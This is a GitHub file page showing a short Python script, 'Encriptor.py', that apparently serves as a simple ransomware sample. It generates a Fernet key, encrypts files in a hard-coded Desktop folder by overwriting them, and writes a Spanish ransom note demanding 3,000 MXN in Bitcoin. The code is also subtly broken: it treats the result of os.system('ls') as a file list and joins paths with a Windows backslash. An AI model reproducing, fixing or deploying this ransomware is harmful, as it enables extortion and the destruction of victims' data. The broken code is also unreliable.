-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathEncriptor.py
More file actions
executable file
·34 lines (26 loc) · 991 Bytes
/
Copy pathEncriptor.py
File metadata and controls
executable file
·34 lines (26 loc) · 991 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from cryptography.fernet import Fernet
import os
def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)
def cargar_key():
return open('key.key', 'rb').read()
def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)
if __name__ == '__main__':
path_to_encrypt = '/Users/edwinrodriguez/Desktop/Archivos'
items = os.system("ls")
ls = [path_to_encrypt+'\\'+item for item in items]
generar_key()
key = cargar_key()
encrypt(ls, key)
with open(path_to_encrypt+'\\'+'readme.txt', 'w') as file:
file.write('Archivos encriptados por Edwin')
file.write('Para recuperar tus arhivos deberas de pagarme $3,000 MXN en criptomonedas a esta wallet 345654 por Bitcoin')